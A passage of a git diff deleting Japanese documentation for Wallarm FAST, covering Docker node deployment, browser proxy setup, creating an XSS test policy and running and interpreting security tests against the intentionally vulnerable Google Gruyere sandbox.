必要に応じて、[「FASTを使用したCI/CDワークフロー」][doc-integration-overview]ドキュメントを参照できます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/waiting-for-tests.md b/docs/latest-ja/fast/poc/waiting-for-tests.md deleted file mode 100644 index 77b917f822..0000000000 --- a/docs/latest-ja/fast/poc/waiting-for-tests.md +++ /dev/null @@ -1,37 +0,0 @@ -[doc-get-token]: prerequisites.md#anchor-token -[doc-get-testrun-id]: node-deployment.md#obtaining-a-test-run -[doc-get-testrun-status]: ../operations/check-testrun-status.md - -[doc-get-testrun-status]: ../operations/check-testrun-status.md - -[doc-integration-overview]: integration-overview.md - -# テスト完了の待機 - -!!! info "本章の前提条件" - 本章の手順に従うには、次を取得する必要があります: - - * [トークン][doc-get-token]。 - * テスト実行の[識別子][doc-get-testrun-id]。 - - 以下の値を例として使用します: - - * `token_Qwe12345`をトークンとして使用します。 - * `tr_1234`をテスト実行の識別子として使用します。 - -最初のベースラインリクエストが記録された時点で、テストリクエストの作成および実行の処理が開始されます。ベースラインリクエストの記録を停止した後も、これらの処理が完了するまでに相当な時間を要する場合があります。進行中の処理の状況を把握するために、テスト実行の状態を定期的に確認できます。 - -[APIコール][doc-get-testrun-status]を実行すると、テスト実行の状態に関する情報を含むAPIサーバーからのレスポンスを受け取ります。 - -`state`および`vulns`パラメータの値に基づいて、アプリケーションに脆弱性が存在するかどうかを判断できます。 - -??? info "例" - テスト実行の状態を定期的にAPIコールで問い合わせるプロセスは、APIサーバーのレスポンスに`state:passed`が含まれていた場合は終了コード`0`で、`state:failed`が含まれていた場合は終了コード`1`で終了するようにできます。 - - この終了コードの値は、CI/CDツールで使用してCI/CDジョブの全体的なステータスを決定できます。 - - FASTノードが[CIモード](integration-overview-ci-mode.md)でデプロイされている場合、CI/CDジョブの全体的なステータスを判断するにはFASTノードの終了コードだけで十分な場合があります。 - - FAST対応のCI/CDジョブがCI/CDツールとどのように連携するかについて、さらに複雑なロジックを構築することも可能です。そのためには、APIサーバーのレスポンスに含まれるその他のデータも使用します。 - - 必要に応じて、「FASTを用いたCI/CDワークフロー」[doc-integration-overview]ドキュメントを参照できます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/qsg/deployment-options.md b/docs/latest-ja/fast/qsg/deployment-options.md deleted file mode 100644 index 608c6e10bd..0000000000 --- a/docs/latest-ja/fast/qsg/deployment-options.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -description: FASTはFASTノードとWallarm cloudで構成される2つのコンポーネントのソリューションです。本ガイドではFASTノードのデプロイ方法を説明します。 ---- - -[img-fast-integration]: ../../images/fast/qsg/en/deployment-options/0-qsg-fast-depl.png -[img-fast-scheme]: ../../images/fast/qsg/en/deployment-options/1-qsg-fast-work-scheme.png -[img-fast-deployment-options]: ../../images/fast/qsg/en/deployment-options/2-qsg-fast-depl-options.png -[img-insecure-connection]: ../../images/fast/qsg/common/deployment-options/3-qsg-fast-depl-insecure-cert.png -[img-qsg-deployment-scheme]: ../../images/fast/qsg/en/deployment-options/4-qsg-fast-depl-scheme.png - -[link-https-google-gruyere]: https://google-gruyere.appspot.com - - -# デプロイオプション - -FASTはFASTノードとWallarm cloudで構成される2つのコンポーネントのソリューションです。本ガイドではFASTノードのデプロイ方法を説明します。 - ---8<-- "../include/fast/cloud-note.md" - -アプリケーションをテストするには、まずHTTPまたはHTTPSリクエストをFASTノード経由でプロキシします。FASTは、Wallarm cloudから取得したポリシーに従い、元のリクエストを基に新しいリクエストセットを作成します。作成されたリクエストはセキュリティテストセットを構成し、アプリケーションの脆弱性を検証するために実行されます。 - -![FASTでのテストプロセス][img-fast-integration] - -ベースラインリクエスト（アプリケーションへの元のリクエスト）は、さまざまな送信元から取得できます。たとえば、アプリケーションテスターが作成することも、既存のテスト自動化ツールが生成することもあります。FASTは、ベースラインリクエストがすべて悪意あるものである必要はありません。正当なリクエストからでもセキュリティテストセットを生成できます。FASTノードは、セキュリティテストセットの作成と実行に使用します。 - -![FASTの仕組み][img-fast-scheme] - - -## 利用可能なデプロイオプション - -FASTノードのデプロイオプションは3つあります。ノードのインストール先は次のいずれかです -1. ベースラインリクエストの送信元となるホスト（例: テスターのラップトップ） -2. 対象アプリケーションが稼働するホスト -3. 専用ホスト - -![FASTのデプロイオプション][img-fast-deployment-options] - - -## 主なデプロイ時の考慮事項 - -FASTノードはDockerコンテナとして提供され、Dockerをサポートするあらゆるプラットフォーム（Linux、Windows、macOSを含む）で実行できます。 - -FASTをデプロイするにはWallarm cloudのアカウントが必須です。Wallarm cloudはFASTの設定用ユーザーインターフェースを提供します。テスト結果もWallarm cloudに集約されます。 - -FASTノードのデプロイ後、次を確認してください -1. ノードが対象アプリケーションへアクセスできること。 -2. ノードがWallarm cloudへアクセスできること。 -3. すべてのベースラインHTTPまたはHTTPSリクエストがノード経由でプロキシされること。 - -!!! info "SSL証明書のインストール" - 対象アプリケーションとHTTPSでやり取りする場合、FASTノードのインストールで提供される自己署名SSL証明書がリクエスト送信元で信頼されないことがあります。たとえば、リクエスト送信元としてMozilla Firefoxブラウザーを使用している場合、次のようなメッセージが表示されることがあります（他のブラウザーや送信元では異なる場合があります）: - - ![「安全でない接続」メッセージ][img-insecure-connection] - - 証明書の問題を解決するには、次の2つの方法があります: - - 1. FASTノードの自己署名SSL証明書をリクエスト送信元に信頼済み証明書としてインストールします。 - 1. 既存の信頼済みSSL証明書をFASTノードにインストールします。 - -## クイックスタートガイドにおけるFASTデプロイの詳細 - -本ガイドでは、ノードをリクエスト送信元と同一ホストにローカルインストールするデプロイオプションを用いて、FASTの動作をデモンストレーションします。 - -本ガイドで使用する構成は次のとおりです: - -* Mozilla Firefoxブラウザーをベースラインリクエストの送信元として使用します。 -* HTTPSのベースラインリクエストを1件作成します。 -* FASTノードの自己署名SSL証明書をブラウザーにインストールします。 -* 対象アプリケーションはGoogle Gruyereです。 -* 対象アプリケーションに対してXSS脆弱性のテストを実施します。 -* ポリシーはWallarm cloudのWebインターフェイスで作成します。 -* テストはWallarm cloudのWebインターフェイスから開始します。 - -![クイックスタートガイドのデプロイ構成図][img-qsg-deployment-scheme] - -!!! info "Google Gruyere" - Google Gruyereはセキュリティテスト用に設計されたアプリケーションです。意図的に多数の脆弱性が組み込まれています。そのため、安全上の理由から各アプリケーションインスタンスは分離されたサンドボックスで実行されます。アプリケーションの利用を開始するには、にアクセスし、Gruyereアプリケーションの分離インスタンスを持つサンドボックスを起動してください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/qsg/deployment.md b/docs/latest-ja/fast/qsg/deployment.md deleted file mode 100644 index 1d666f48ac..0000000000 --- a/docs/latest-ja/fast/qsg/deployment.md +++ /dev/null @@ -1,156 +0,0 @@ -[img-qsg-deployment-scheme]: ../../images/fast/qsg/en/deployment/5-qsg-fast-inst-scheme.png -[img-fast-create-node]: ../../images/fast/qsg/common/deployment/6-qsg-fast-inst-create-node.png -[img-firefox-options]: ../../images/fast/qsg/common/deployment/9-qsg-fast-inst-ff-options-window.png -[img-firefox-proxy-options]: ../../images/fast/qsg/common/deployment/10-qsg-fast-inst-ff-proxy-options.png -[img-insecure-connection]: ../../images/fast/qsg/common/deployment/11-qsg-fast-inst-untrusted-cert.png - -[link-https-google-gruyere]: https://google-gruyere.appspot.com -[link-docker-docs]: https://docs.docker.com/ -[link-wl-console]: https://us1.my.wallarm.com -[link-ssl-installation]: ../ssl/intro.md - -[wl-cloud-list]: ../cloud-list.md - -[anchor1]: #1-install-the-docker-software -[anchor2]: #2-obtain-a-token-that-will-be-used-to-connect-your-fast-node-to-the-wallarm-cloud -[anchor3]: #3-prepare-a-file-containing-the-necessary-environment-variables -[anchor4]: #4-deploy-the-fast-node-docker-container -[anchor5]: #5-configure-the-browser-to-work-with-the-proxy -[anchor6]: #6-install-ssl-certificates - - -# FASTノードのデプロイ - -この章では、FASTノードのインストールと初期設定の手順を案内します。必要な手順をすべて完了すると、FASTノードが稼働します。ノードは`localhost:8080`で待ち受け、[Google Gruyere][link-https-google-gruyere]アプリケーションへのHTTPおよびHTTPSリクエストをプロキシする準備が整います。ノードはお使いのマシンに、Mozilla Firefoxブラウザーとともにインストールされます。 - -!!! info "使用するブラウザーに関する注意" - 本ガイドではMozilla Firefoxブラウザーの使用を推奨します。ただし、すべてのHTTPおよびHTTPSトラフィックをFASTノードへ送信するように正しく設定できれば、任意のブラウザーを使用できます。 - -![FASTノードのデプロイ構成図][img-qsg-deployment-scheme] - -FASTノードをインストールして設定するには、次の手順を実施します。 - -1. [Dockerソフトウェアをインストールします][anchor1]。 -2. [FASTノードをWallarm cloudに接続するために使用されるトークンを取得します][anchor2]。 -3. [必要な環境変数を含むファイルを準備します][anchor3]。 -4. [FASTノードのDockerコンテナをデプロイします][anchor4]。 -5. [プロキシで動作するようにブラウザーを設定します][anchor5]。 -6. [SSL証明書をインストールします][anchor6]。 - -## 1. Dockerソフトウェアをインストールします - -お使いのマシンにDockerソフトウェアをセットアップします。詳細はDocker公式の[インストールガイド][link-docker-docs]を参照してください。 - -Docker Community Edition (CE)の使用を推奨しますが、どのDockerエディションでも使用できます。 - - -## 2. FASTノードをWallarm cloudに接続するために使用されるトークンを取得します - -1. Wallarmアカウントを使用して[My Wallarm portal][link-wl-console]にログインします。 - - アカウントをお持ちでない場合は、アクセス権の取得について[Wallarm営業チーム](mailto:sales@wallarm.com)にお問い合わせください。 - -2. 「Nodes」タブを選択し、**Create FAST node**ボタン（または**Add FAST node**リンク）をクリックします。 - - ![新規ノードの作成][img-fast-create-node] - -3. ダイアログウィンドウが表示されます。ノードに意味のある名前を付け、**Create**ボタンを選択します。本ガイドでは`DEMO NODE`という名前の使用を推奨します。 - -4. 作成したノードの**Token**フィールドにマウスカーソルを移動し、値をコピーします。 - - !!! info "トークンに関する注意" - トークンはWallarm APIコールでも取得できますが、本ドキュメントの範囲外です。 - -## 3. 必要な環境変数を含むファイルを準備します - -FASTノードを動作させるには、いくつかの環境変数を設定する必要があります。 - -そのために、テキストファイルを作成して次の内容を追加します。 - -``` -WALLARM_API_TOKEN=<ステップ2で取得したトークン値> -ALLOWED_HOSTS=google-gruyere.appspot.com -``` - -環境変数を設定しました。各変数の目的は次のとおりです。 -* `WALLARM_API_TOKEN`：ノードをWallarm cloudに接続するために使用するトークン値を設定します -* `ALLOWED_HOSTS`：セキュリティテストを生成する対象リクエストの範囲を制限します。対象アプリケーションが存在するドメイン`google-gruyere.appspot.com`へのリクエストからのみ、セキュリティテストが生成されます。 - -!!! info "`ALLOWED_HOSTS`環境変数の使用" - 完全修飾ドメイン名を設定する必要はありません。文字列の一部（例：`google-gruyere`や`appspot.com`）でも構いません。 - ---8<-- "../include/fast/wallarm-api-host-note.md" - -## 4. FASTノードのDockerコンテナをデプロイします - -次のコマンドを実行します。 - -``` -docker run --name --env-file= -p :8080 wallarm/fast -``` - -このコマンドには、いくつかの引数を指定します。 - -* **`--name`** *``* - - Dockerコンテナの名前を指定します。 - - 既存のすべてのコンテナ名と重複しない一意の名前にしてください。 - -* **`--env-file=`** *``* - - コンテナにエクスポートするすべての環境変数を含むファイルを指定します。 - - [前のステップ][anchor3]で作成したファイルへのパスを指定する必要があります。 - -* **`-p`** *``* **`:8080`** - - コンテナの8080ポートをマッピングするDockerホスト側のポートを指定します。デフォルトでは、コンテナのポートはDockerホストから利用できません。 - - Dockerホストから特定のコンテナポートへアクセスできるようにするには、`-p`引数を使用して、コンテナの内部ポートを外部ポートに公開します。 - - また、`-p ::8080`引数を指定することで、ホストの非ループバックIPアドレスにコンテナのポートを公開し、Dockerホスト外部からもアクセス可能にできます。 - -!!! info "`docker run`コマンドの例" - 次のコマンドを実行すると、`/home/user/fast.cfg`の環境変数ファイルを使用し、ポートを`localhost:8080`に公開する、`fast-node`という名前のコンテナが起動します。 - - ``` - docker run --name fast-node --env-file=/home/user/fast.cfg -p 8080:8080 wallarm/fast - ``` - -コンテナのデプロイが成功すると、次のようなコンソール出力が表示されます。 - ---8<-- "../include/fast/console-include/qsg/fast-node-deployment-ok.md" - -これで、Wallarm cloudに接続された、すぐに使用可能なFASTノードが用意できました。ノードは`localhost:8080`で受信するHTTPおよびHTTPSリクエストのうち、ドメイン`google-gruyere.appspot.com`宛てのリクエストをベースラインとして認識して待ち受けています。 - - -## 5. プロキシで動作するようにブラウザーを設定します - -すべてのHTTPおよびHTTPSリクエストがFASTノード経由でプロキシされるように、ブラウザーを設定します。 - -Mozilla Firefoxブラウザーでプロキシを設定するには、次の手順を実施します。 - -1. ブラウザーを開きます。メニューから“Preferences”を選択します。“General”タブを選択し、“Network Settings”までスクロールします。**Settings**ボタンを選択します。 - - ![Mozilla Firefoxのオプション][img-firefox-options] - -2. “Connection Settings”ウィンドウが開きます。**Manual proxy configuration**オプションを選択します。次の値を入力してプロキシを設定します。 - - * HTTPプロキシアドレスとして**`localhost`**、HTTPプロキシポートとして**`8080`**。 - * SSLプロキシアドレスとして**`localhost`**、SSLプロキシポートとして**`8080`**。 - - 変更を適用するため、**OK**ボタンを選択します。 - - ![Mozilla Firefoxのプロキシ設定][img-firefox-proxy-options] - - -## 6. SSL証明書をインストールします - -HTTPS経由で[Google Gruyere][link-https-google-gruyere]アプリケーションを操作すると、安全な接続が中断されたことに関する次のようなブラウザーメッセージが表示される場合があります。 - -![“Insecure connection”メッセージ][img-insecure-connection] - -HTTPSでWebアプリケーションとやり取りできるように、自己署名のFASTノードSSL証明書を追加する必要があります。これを行うには、この[リンク][link-ssl-installation]に移動し、一覧からお使いのブラウザーを選択して、記載の手順を実施します。本ガイドではMozilla Firefoxブラウザーの使用を推奨します。 - -FASTノードの起動と設定が完了したら、本章の目標はすべて達成です。次の章では、少数のベースラインリクエストに基づいてセキュリティテストのセットを生成するために必要な事項を学習します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/qsg/test-interpretation.md b/docs/latest-ja/fast/qsg/test-interpretation.md deleted file mode 100644 index 521f60e1c4..0000000000 --- a/docs/latest-ja/fast/qsg/test-interpretation.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-dashboard]: ../../images/fast/qsg/common/test-interpretation/25-qsg-fast-test-int-dashboard.png -[img-testrun]: ../../images/fast/qsg/common/test-interpretation/27-qsg-fast-test-int-testrun-screen.png -[img-test-run-expanded]: ../../images/fast/qsg/common/test-interpretation/28-qsg-fast-testrun-opened.png -[img-status-passed]: ../../images/fast/qsg/common/test-interpretation/passed-colored.png -[img-status-failed]: ../../images/fast/qsg/common/test-interpretation/failed-colored.png -[img-status-inprogress]: ../../images/fast/qsg/common/test-interpretation/in-progress.png -[img-status-error]: ../../images/fast/qsg/common/test-interpretation/error-colored.png -[img-status-waiting]: ../../images/fast/qsg/common/test-interpretation/waiting-colored.png -[img-status-interrupted]: ../../images/fast/qsg/common/test-interpretation/interrupted-colored.png -[img-testrun-expanded]: ../../images/fast/qsg/common/test-interpretation/29-qsg-fast-test-int-testrun-expanded.png -[img-log]: ../../images/fast/qsg/common/test-interpretation/30-qsg-fast-test-int-testrun-log.png -[img-vuln-description]: ../../images/fast/qsg/common/test-interpretation/31-qsg-fast-test-int-events-vuln-description.png -[img-vuln-details]: ../../images/fast/qsg/common/test-interpretation/32-qsg-fast-int-issue-details.png - -[link-previous-chapter]: test-run.md -[link-wl-console]: https://us1.my.wallarm.com -[link-how-to-search]: https://docs.wallarm.com/en/user-en/use-search-en.html - - - -# テスト結果の解釈 - -この章では、[My Wallarm portal][link-wl-console]上でテスト結果を解釈するためのツールの概要を説明します。この章を終えると、[前の章][link-previous-chapter]で検出されたXSS脆弱性に関する追加情報を得られます。 - -1. 「Dashboards → FAST」タブをクリックして、状況をざっと確認します。ダッシュボードでは、すべてのテスト実行とそのステータスの概要に加えて、選択した期間の脆弱性件数が表示されます。 - - ![ダッシュボード][img-dashboard] - - - - - -2. 「Test runs」タブを選択すると、すべてのテスト実行の一覧と、各テスト実行に関する次のような簡単な情報を確認できます。 - - * テスト実行のステータス（進行中、成功、失敗） - * ベースラインリクエストの記録が進行中かどうか - * 記録されたベースラインリクエストの数 - * 検出された脆弱性（ある場合） - * 対象アプリケーションのドメイン名 - * テストの生成および実行が行われた場所（ノードまたはクラウド） - - ![テスト実行][img-testrun] - -3. テスト実行をクリックして詳細を確認します。 - - ![展開されたテスト実行][img-test-run-expanded] - - 展開されたテスト実行からは、次の情報を確認できます。 - - * 処理済みベースラインリクエスト数 - * テスト実行の作成日時 - * テスト実行の継続時間 - * 対象アプリケーションに送信されたリクエスト数 - * ベースラインリクエストのテスト処理のステータス: - - * **Passed** ![Status: Passed][img-status-passed] - - 該当のベースラインリクエストに対しては脆弱性が見つかりませんでした（これは選択したテストポリシーに依存します。別のポリシーを選択すると脆弱性が見つかる可能性があります）。あるいは、そのリクエストにテストポリシーが適用できません。 - - * **Failed** ![Status: Failed][img-status-failed] - - 該当のベースラインリクエストで脆弱性が検出されました。 - - * **In progress** ![Status: In progress][img-status-inprogress] - - ベースラインリクエストの脆弱性テストを実行中です。 - - * **Error** ![Status: Error][img-status-error] - - エラーによりテスト処理が停止しました。 - - * **Waiting** ![Status: Waiting][img-status-waiting] - - ベースラインリクエストがテスト待ちのキューに入りました。同時にテストできるリクエスト数には上限があります。 - - * **Interrupted** ![Status: Interrupted][img-status-interrupted] - - テスト処理が手動で中断されました（「Actions」→「Interrupt」）、または同じFASTノードで別のテスト実行が実行されました。 - -4. ベースラインリクエストをクリックして詳細を確認します。 - - ![展開されたテスト実行][img-testrun-expanded] - - 各ベースラインリクエストについて、次の情報が表示されます。 - - * 作成時刻 - * 対象アプリケーションに生成・送信されたテストリクエスト数 - * 使用中のテストポリシー - * リクエスト処理のステータス - -5. リクエスト処理の完全なログを表示するには、右端の「Details」リンクを選択します。 - - ![リクエスト処理のログ][img-log] - -6. 検出された脆弱性の概要を確認するには、「Issue」リンクをクリックします。 - - ![脆弱性の概要][img-vuln-description] - - 脆弱性の詳細を確認するには、脆弱性の説明をクリックします。 - - ![脆弱性の詳細][img-vuln-details] - -これで、テスト結果の解釈に役立つツールを把握できたはずです。 \ No newline at end of file diff --git a/docs/latest-ja/fast/qsg/test-preparation.md b/docs/latest-ja/fast/qsg/test-preparation.md deleted file mode 100644 index 990c35d5a4..0000000000 --- a/docs/latest-ja/fast/qsg/test-preparation.md +++ /dev/null @@ -1,105 +0,0 @@ -[img-test-scheme]: ../../images/fast/qsg/en/test-preparation/12-qsg-fast-test-prep-scheme.png -[img-google-gruyere-startpage]: ../../images/fast/qsg/common/test-preparation/13-qsg-fast-test-prep-gruyere.png -[img-policy-screen]: ../../images/fast/qsg/common/test-preparation/14-qsg-fast-test-prep-policy-screen.png -[img-wizard-general]: ../../images/fast/qsg/common/test-preparation/15-qsg-fast-test-prep-policy-wizard-general.png -[img-wizard-insertion-points]: ../../images/fast/qsg/common/test-preparation/16-qsg-fast-test-prep-policy-wizard-ins-points.png - -[link-previous-chapter]: deployment.md -[link-https-google-gruyere]: https://google-gruyere.appspot.com -[link-https-google-gruyere-start]: https://google-gruyere.appspot.com/start -[link-wl-console]: https://us1.my.wallarm.com - -[doc-policy-in-detail]: ../operations/test-policy/overview.md - -[gl-element]: ../terms-glossary.md#baseline-request-element -[gl-testpolicy]: ../terms-glossary.md#test-policy - -[anchor1]: #1-prepare-the-baseline-request -[anchor2]: #2-create-a-test-policy-targeted-at-xss-vulnerabilities - - -# テストのための環境設定 - -本章では、Google GruyereアプリケーションにおけるXSS脆弱性を検出するためにFASTを構成する手順をご案内します。必要な手順をすべて完了すると、XSS脆弱性を見つけるためにHTTPSのベースラインリクエストをFAST node経由でプロキシする準備が整います。 - -セキュリティテストセットを生成するには、Wallarm FASTには以下が必要です: -* ベースラインリクエストをプロキシする展開済みのFAST node -* FAST nodeとWallarm cloudの接続 -* ベースラインリクエスト -* テストポリシー - -[前の章][link-previous-chapter]でFAST nodeを正常にデプロイし、クラウドに接続しました。本章では、[テストポリシー][gl-testpolicy]とベースラインリクエストの作成に注力します。 - -![使用するテストスキーム][img-test-scheme] - -!!! info "テストポリシーの作成" - テスト対象の各アプリケーションごとに専用のポリシーを作成することを強く推奨します。ただし、Wallarm cloudによって自動作成されるデフォルトポリシーを利用することもできます。本ドキュメントでは専用ポリシーの作成手順をご案内し、デフォルトポリシーの説明は本ガイドの範囲外です。 - -テスト用の環境を構築するには、次を実施します: - -1. [ベースラインリクエストを準備する][anchor1] -2. [XSS脆弱性を対象としたテストポリシーを作成する][anchor2] - -!!! info "対象アプリケーション" - 現在の例では、[Google Gruyere][link-https-google-gruyere]を対象アプリケーションとして使用します。ローカルアプリケーション向けにベースラインリクエストを作成する場合は、Google Gruyereのアドレスではなく、そのアプリケーションを実行しているマシンのIPアドレスを使用してください。 - - IPアドレスを取得するには、`ifconfig`や`ip addr`などのツールを使用できます。 - -## 1. ベースラインリクエストを準備する - -1. 用意するベースラインリクエストは[Google Gruyere][link-https-google-gruyere]アプリケーションを対象とします。そのため、最初に当該アプリケーションのサンドボックス化されたインスタンスを作成します。次に、そのインスタンスの一意の識別子を取得します。 - - そのためには、この[リンク][link-https-google-gruyere-start]にアクセスします。Google Gruyereインスタンスの識別子が表示されますので、コピーしてください。利用規約を読み、**Agree & Start**ボタンを選択します。 - - ![Google Gruyereスタートページ][img-google-gruyere-startpage] - - 隔離されたGoogle Gruyereインスタンスが起動します。次のアドレスでアクセスできるようになります: - - `https://google-gruyere.appspot.com//` - -2. Google Gruyereアプリケーションの自身のインスタンスに対するベースラインリクエストを作成します。 本ガイドでは正当なリクエストを使用することを推奨します。 - - リクエストは次のとおりです: - - ``` - https://google-gruyere.appspot.com//snippets.gtl?password=paSSw0rd&uid=123 - ``` - - !!! info "リクエストの例" - - -## 2. XSS脆弱性を対象としたテストポリシーを作成する - -1. [前の章][link-previous-chapter]で作成したアカウントを使用して、[My Wallarm portal][link-wl-console]にログインします。 - -2. “Test policies”タブを選択し、**Create test policy**ボタンをクリックします。 - - ![テストポリシーの作成][img-policy-screen] - -3. “General”タブで、ポリシーに意味のある名前と説明を設定します。本ガイドでは、名前に`DEMO POLICY`を使用することを提案します。 - - ![テストポリシーウィザード: “General”タブ。][img-wizard-general] - -4. “Insertion points”タブで、セキュリティテストセットのリクエスト生成時に処理対象とする[ベースラインリクエスト要素][gl-element]を設定します。本ガイドの目的には、すべてのGETパラメータの処理を許可すれば十分です。これを許可するには、“Where to include”ブロックに`GET_.*`という式を追加してください。ポリシーを作成する際、FASTは既定で一部のパラメータを処理可能にします。これらは«—»シンボルを使用して削除できます。 - - ![テストポリシーウィザード: “Insertion points”タブ。][img-wizard-insertion-points] - -5. “Attacks to test”タブで、対象アプリケーションの脆弱性を突く攻撃タイプを1つ選択します—XSS。 - -6. 一番右の列にあるポリシープレビューが次のようになっていることを確認します: - - ``` - X-Wallarm-Test-Policy: - type=xss; - insertion=include:'GET_.*'; - ``` - -7. **Save**ボタンを選択してポリシーを保存します。 - -8. **Back to test policies**ボタンを選択してテストポリシー一覧に戻ります。 - - -!!! info "テストポリシーの詳細" - テストポリシーの詳細情報は[リンク][doc-policy-in-detail]からご覧いただけます。 - -これで、本章の目標はすべて完了し、Google Gruyereアプリケーション宛てのHTTPSベースラインリクエストと、XSS脆弱性を対象としたテストポリシーが用意できました。 \ No newline at end of file diff --git a/docs/latest-ja/fast/qsg/test-run.md b/docs/latest-ja/fast/qsg/test-run.md deleted file mode 100644 index 846174995a..0000000000 --- a/docs/latest-ja/fast/qsg/test-run.md +++ /dev/null @@ -1,120 +0,0 @@ -[img-fast-node-internals]: ../../images/fast/qsg/en/test-run/18-qsg-fast-test-run-proxy-internals.png -[img-view-recording-cloud]: ../../images/fast/qsg/common/test-run/20-qsg-fast-test-run-baselines-recording.png -[img-request-exec-result]: ../../images/fast/qsg/common/test-run/22-qsg-fast-test-run-gruyere-request.png -[img-incoming-baselines]: ../../images/fast/qsg/common/test-run/23-qsg-fast-test-run-processing.png -[img-xss-found]: ../../images/fast/qsg/common/test-run/24-qsg-fast-test-run-vuln.png - - -[link-deployment]: deployment.md -[link-wl-console]: https://us1.my.wallarm.com -[link-previous-chapter]: test-preparation.md -[link-create-tr-gui]: ../operations/create-testrun.md#creating-a-test-run-via-web-interface - -[anchor1]: #1-create-and-run-the-test-run -[anchor2]: #2-execute-the-https-baseline-request-you-created-earlier - - - -# テストの実行 - -本章では、セキュリティテストセットの生成と実行の手順をご案内します。テストセットは、[前の章][link-previous-chapter]で作成したテストポリシーとベースラインリクエストを用いて構築されます。必要な手順をすべて完了すると、テストの結果としてXSS脆弱性が見つかります。 - -アプリケーションのセキュリティテストを開始するには、テストランを作成する必要があります。*テストラン*は一回限りの脆弱性テストプロセスを表します。各テストランには一意の識別子があり、FASTの正しい動作に不可欠です。テストランを作成すると、テストランIDとテストポリシーがFAST nodeに送信されます。その後、ノード上でセキュリティテストプロセスが開始されます。 - -FASTは次の手順でセキュリティテストセットを生成・実行します: - -1. ノードは、テストポリシーとテストランIDが送信されるまで、受信するすべてのリクエストを透過的にプロキシします。 - -2. テストランが作成・開始されると、FAST nodeはWallarm cloudからテストポリシーとテストランIDを受け取ります。 - -3. ノードが対象アプリケーション宛てのベースラインリクエストを受信した場合: - 1. ノードは受信リクエストにテストランIDを付与します - 2. 付与されたリクエストはWallarm cloudに保存されます - 3. 初回のベースラインリクエストは変更せずに対象アプリケーションへ送信されます - - !!! info "ベースラインリクエストの記録プロセス" - このプロセスはベースラインリクエストの記録と呼ばれることがよくあります。記録はクラウドのWebインターフェイスから、またはWallarm APIへのAPIコールで停止できます。ノードは初期のベースラインを対象アプリケーションへ送信し続けます。 - - ベースラインの記録は、ノードが先にテストポリシーとテストランIDを受け取った場合に開始されます。 - - FAST nodeは、環境変数`ALLOWED_HOSTS`を確認してリクエストがベースラインかどうかを判定します。この変数はFAST nodeの[デプロイ手順][link-deployment]で設定しました。リクエストの宛先ドメインがこの変数で許可されている場合、そのリクエストはベースラインと見なされます。本ガイドに従っている場合、`google-gruyere.appspot.com`ドメインへのすべてのリクエストはベースラインと見なされます。 - - それ以外の、対象アプリケーション向けでないリクエストは、変更せず透過的にプロキシされます。 - -4. FAST nodeはテストランIDに基づいてWallarm cloudから記録済みのベースラインリクエストをすべて取得します。 - -5. FAST nodeは、クラウドから受け取ったテストポリシーを用いて各ベースラインリクエストのセキュリティテストを生成します。 - -6. 生成されたセキュリティテストセットは、ノードから対象アプリケーションへリクエストを送信することで実行されます。テスト結果はテストランIDに関連付けられ、クラウドに保存されます。 - - ![FAST nodeの内部ロジック][img-fast-node-internals] - - !!! info "稼働中のテストランに関する注意" - 任意の時点で、FAST node上で同時に実行できるテストランは1つだけです。同じノードに対して別のテストランを作成すると、現在のテストランの実行は中断されます。 - -セキュリティテストセットの生成と実行を開始するには、以下を実施します: - -1. [テストランを作成して開始する][anchor1] -2. [前に作成したHTTPSベースラインリクエストを実行する][anchor2] - -## 1. テストランを作成して開始する - -WallarmアカウントのWebインターフェイスから[手順][link-create-tr-gui]に従ってテストランを作成します。 - -手順に従った後、テストラン作成時に次の基本パラメータを設定します: - -* テストラン名: `DEMO TEST RUN`; -* テストポリシー: `DEMO POLICY`; -* FAST node: `DEMO NODE`. - -本手順には高度な設定は含まれていません。 - -テストランを保存すると、そのIDが自動的にFAST nodeへ渡されます。“Testruns”タブには、作成したテストランが赤い点滅ドットのインジケーター付きで表示されます。このインジケーターは、そのテストランのベースラインリクエストが記録中であることを示します。 - -記録中のベースラインリクエストをすべて表示するには、“Baseline req.”列をクリックできます。 - -![記録済みベースラインリクエストの表示][img-view-recording-cloud] - -!!! info "記録のためのノードの準備完了" - テストラン`DEMO TEST RUN`のベースラインリクエストを記録する準備が`DEMO NODE`というFAST nodeで整ったことを示すコンソール出力が表示されるまでお待ちください。 - - ノードがベースラインリクエストの記録を開始できる状態になると、コンソール出力に次のようなメッセージが表示されます: - - `[info] Recording baselines for TestRun#N ‘DEMO TEST RUN’` - - このメッセージが表示されてからでないと、ノードはベースラインリクエストに基づくセキュリティテストセットを生成できません。 - -コンソール出力から、`DEMO NODE`というFAST nodeが、`DEMO TEST RUN`というテストランのベースラインリクエスト記録の準備ができていることが確認できます: - ---8<-- "../include/fast/console-include/qsg/fast-node-ready-for-recording.md" - - -## 2. 以前に作成したHTTPSベースラインリクエストを実行する - -それには、事前に設定済みのMozilla Firefoxブラウザを使用して、[作成済みのリンク][link-previous-chapter]にアクセスします。 - -!!! info "リンクの例" - - -リクエスト実行の結果を以下に示します: - -![リクエスト実行の結果][img-request-exec-result] - -コンソール出力から、FAST nodeがベースラインリクエストを記録したことが確認できます: - ---8<-- "../include/fast/console-include/qsg/fast-node-testing.md" - -ベースラインリクエストがWallarm cloudに保存されていく様子を確認できます: - -![受信中のベースラインリクエスト][img-incoming-baselines] - -本ドキュメントでは、デモ目的のため、実行するリクエストは1つのみとすることを推奨します。対象アプリケーションへの追加リクエストがないことを前提に、“Actions”ドロップダウンメニューから**Stop recording**オプションを選択し、ベースラインの記録プロセスを停止します。 - -!!! info "テストラン実行プロセスの制御" - 作成したテストランでは、セキュリティテストセットは比較的すぐに生成されました。ただし、ベースラインリクエストの数、使用しているテストポリシー、対象アプリケーションの応答性によっては、このプロセスに相当な時間がかかる場合があります。“Actions”ドロップダウンメニューから適切なオプションを選択することで、テストプロセスを一時停止または停止できます。 - -ベースラインの記録が実行されていない状態でテストプロセスが完了すると、テストランは自動的に停止します。“Result”列に検出された脆弱性の簡易情報が表示されます。実行したHTTPSリクエストに対して、FASTはXSS脆弱性をいくつか検出するはずです: - -![検出された脆弱性][img-xss-found] - -これで本章の目標はすべて達成され、Google GruyereアプリケーションへのHTTPSリクエストをテストした結果が得られました。結果にはXSS脆弱性が3件見つかったことが示されています。 \ No newline at end of file diff 